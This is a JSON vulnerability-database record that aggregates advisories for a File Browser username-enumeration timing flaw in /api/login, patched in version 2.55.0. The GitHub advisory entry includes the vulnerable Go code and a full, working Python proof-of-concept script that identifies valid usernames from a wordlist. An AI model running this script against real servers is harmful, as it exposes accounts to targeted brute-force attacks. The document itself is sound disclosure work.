{"id":"GO-2026-4344","revision":null,"records":[{"revision":"70d441cf00d142e2abd0e776a38f270c","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-23849","aliases":[],"title":"File Browser vulnerable to Username Enumeration via Timing Attack in /api/login","description":"File Browser provides a file managing interface within a specified directory and can be used to upload, delete, preview, rename, and edit files. Prior to version 2.55.0, the JSONAuth. Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint. The vulnerability exists due to a \"short-circuit\" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow. This difference in execution path creates a measurable timing discrepancy. Version 2.55.0 contains a patch for the issue.","state":0,"publishedAt":"2026-01-19T20:37:29.716+00:00","modifiedAt":"2026-01-20T15:54:36.499+00:00","affected":[{"ecosystem":"Vendor product","name":"filebrowser","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"filebrowser\",\n                    \"product\": \"filebrowser\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.55.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"severity":"MEDIUM"}],"references":["https://github.com/filebrowser/filebrowser/security/advisories/GHSA-43mm-m3h2-3prc","https://github.com/filebrowser/filebrowser/commit/24781badd413ee20333aba5cce1919d676e01889"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-23849","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-23849","identifiers":["CVE-2026-23849"]},"retained":false,"historicalAffected":[]},{"revision":"4335bc765f5b435587881ef283bc3efa","observedAt":"2026-11-13T15:58:50.83+00:00","statement":{"source":"euvd","id":"EUVD-2026-3287","aliases":["CVE-2026-23849","GHSA-43mm-m3h2-3prc"],"title":"File Browser provides a file managing interface within a specified directory and can be used to upload, delete, preview, rename, and edit files. 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Version 2.55.0 contains a patch for the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"severity":null}],"references":["https://github.com/filebrowser/filebrowser/security/advisories/GHSA-43mm-m3h2-3prc","https://github.com/filebrowser/filebrowser/commit/24781badd413ee20333aba5cce1919d676e01889"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-3287","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jan 19, 2026, 8:37:29 PM","dateUpdated":"Jan 20, 2026, 3:54:36 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. 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The vulnerability exists due to a \"short-circuit\" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow. This difference in execution path creates a measurable timing discrepancy. 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Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-23849","identifiers":["CVE-2026-23849"]},"retained":false,"historicalAffected":[]},{"revision":"ad2da02d27344745aef83d8a5bc816b8","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-43mm-m3h2-3prc","aliases":["CVE-2026-23849","GO-2026-4344"],"title":"File Browser Vulnerable to Username Enumeration via Timing Attack in /api/login","description":"### Summary\nThe JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint.\n\n### Details\nThe vulnerability exists due to a \"short-circuit\" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow.\n\nThis difference in execution path creates a measurable timing discrepancy:\n\nInvalid User: ~1ms execution (Database lookup only).\nValid User: ~50ms+ execution (Database lookup + Bcrypt hashing).\n\nIn auth/json.go:\n```go\n// auth/json.go line 54\nu, err := usr.Get(srv.Root, cred.Username)\n// VULNERABILITY:\n// If 'err != nil' (User not found), the OR condition short-circuits.\n// The second part (!users.CheckPwd) is NEVER executed.\n//\n// If 'err == nil' (User found), the code MUST execute users.CheckPwd (Bcrypt).\nif err != nil || !users.CheckPwd(cred.Password, u.Password) {\n    return nil, os.ErrPermission\n}\n```\n### PoC\nThe following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold.\n\n```python\nimport requests\nimport time\nimport random\nimport string\nimport statistics\nimport argparse\n\nCALIBRATION_SAMPLES = 20\nENDPOINT = \"/api/login\"\n\ndef generate_random_user(length=10):\n    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))\n\ndef measure_response_time(url, username):\n    start = time.perf_counter()\n    try:\n        requests.post(url, json={\"username\": username, \"password\": \"dummy_pass_123!\"})\n    except Exception as e:\n        print(f\"[!] Connection error: {e}\")\n        return 0\n    return time.perf_counter() - start\n\ndef calibrate(url):\n    print(f\"\\n[*] Calibrating with {CALIBRATION_SAMPLES} random users...\")\n    times = []\n    \n    print(\"    Progress: \", end=\"\", flush=True)\n    for _ in range(CALIBRATION_SAMPLES):\n        random_user = generate_random_user()\n        elapsed = measure_response_time(url, random_user)\n        times.append(elapsed)\n        print(\".\", end=\"\", flush=True)\n    print(\" OK\")\n    \n    mean = statistics.mean(times)\n    try:\n        stdev = statistics.stdev(times)\n    except:\n        stdev = 0.0\n    \n    threshold = mean + (5 * stdev) + 0.005\n    \n    print(f\"    - Mean time (invalid users): {mean:.4f}s\")\n    print(f\"    - Standard deviation: {stdev:.6f}s\")\n    print(f\"    - Threshold set: {threshold:.4f}s\")\n    \n    return threshold\n\ndef load_wordlist(wordlist_path):\n    try:\n        with open(wordlist_path, 'r', encoding='utf-8') as f:\n            users = [line.strip() for line in f if line.strip()]\n        return users\n    except FileNotFoundError:\n        print(f\"[!] Wordlist not found: {wordlist_path}\")\n        exit(1)\n    except Exception as e:\n        print(f\"[!] Error reading wordlist: {e}\")\n        exit(1)\n\ndef timing_attack(url, threshold, users):\n    print(f\"\\n[*] Testing {len(users)} users from wordlist...\")\n    print(\"-\" * 50)\n    print(f\"{'Username':<15} | {'Time':<10} | {'Status'}\")\n    print(\"-\" * 50)\n    \n    found = []\n    \n    for user in users:\n        elapsed = measure_response_time(url, user)\n        \n        if elapsed > threshold:\n            status = \">> VALID <<\"\n            found.append(user)\n        else:\n            status = \"invalid\"\n            \n        print(f\"{user:<15} | {elapsed:.4f}s | {status}\")\n        \n    return found\n\ndef main():\n    parser = argparse.ArgumentParser(description='FileBrowser timing attack exploit')\n    parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://localhost:8080)')\n    parser.add_argument('-w', '--wordlist', required=True, help='Path to wordlist file')\n    args = parser.parse_args()\n    \n    target_url = args.url.rstrip('/') + ENDPOINT\n    \n    print(\"=== FILEBROWSER TIMING ATTACK ===\\n\")\n    print(f\"[*] Target: {target_url}\")\n    print(f\"[*] Wordlist: {args.wordlist}\")\n    \n    try:\n        threshold = calibrate(target_url)\n        users = load_wordlist(args.wordlist)\n        print(f\"\\n[*] Loaded {len(users)} users from wordlist\")\n        print(\"[*] Starting attack...\")\n        \n        valid_users = timing_attack(target_url, threshold, users)\n        \n        print(\"\\n\" + \"=\"*50)\n        print(f\"SUMMARY: {len(valid_users)} valid users found\")\n        if valid_users:\n            for u in valid_users:\n                print(f\"  -> {u}\")\n        print(\"=\"*50)\n        \n    except KeyboardInterrupt:\n        print(\"\\n[!] Attack cancelled\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\nFor example, in this case, I have guchihacker as the only valid user in the application.\n<img width=\"842\" height=\"310\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b3caf11e-279c-4532-aa96-fd20cda153a3\" />\n\nI am going to use the exploit to list valid users.\n<img width=\"628\" height=\"716\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f9d93e8e-e773-42a5-8a06-bc6bcc2a71fa\" />\nAs we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time.\n\n### Impact\nAn unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., 'admin', 'root', employee names).\n\n\nI remain at your disposal for any questions you may have on this matter. Thank you very much.\n\nSincerely, [Felix Sanchez (GUCHI)](https://guchihacker.github.io/)","state":0,"publishedAt":"2026-01-21T01:02:17+00:00","modifiedAt":"2026-09-10T03:50:58.9349259+00:00","affected":[{"ecosystem":"Go","name":"github.com/filebrowser/filebrowser","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"1.11.0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/filebrowser/filebrowser/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.55.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/filebrowser/filebrowser/security/advisories/GHSA-43mm-m3h2-3prc","https://nvd.nist.gov/vuln/detail/CVE-2026-23849","https://github.com/filebrowser/filebrowser/commit/24781badd413ee20333aba5cce1919d676e01889","https://github.com/filebrowser/filebrowser"],"sourceUrl":"https://github.com/advisories/GHSA-43mm-m3h2-3prc","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-43mm-m3h2-3prc","identifiers":["GHSA-43mm-m3h2-3prc","CVE-2026-23849","GO-2026-4344"]},"retained":false,"historicalAffected":[]},{"revision":"d284af38a8154829aea57104e6f5936d","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-4344","aliases":["CVE-2026-23849","GHSA-43mm-m3h2-3prc"],"title":"File Browser Vulnerable to Username Enumeration via Timing Attack in /api/login in github.com/filebrowser/filebrowser","description":"File Browser Vulnerable to Username Enumeration via Timing Attack in /api/login in github.com/filebrowser/filebrowser","state":0,"publishedAt":"2026-02-03T20:30:58+00:00","modifiedAt":"2026-02-04T13:58:53.162322+00:00","affected":[{"ecosystem":"Go","name":"github.com/filebrowser/filebrowser","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/filebrowser/filebrowser/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.55.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/filebrowser/filebrowser/security/advisories/GHSA-43mm-m3h2-3prc","https://nvd.nist.gov/vuln/detail/CVE-2026-23849","https://github.com/filebrowser/filebrowser/commit/24781badd413ee20333aba5cce1919d676e01889"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-4344","license":"OSV · upstream source license applies","key":"osv:GO-2026-4344","identifiers":["GO-2026-4344","CVE-2026-23849","GHSA-43mm-m3h2-3prc"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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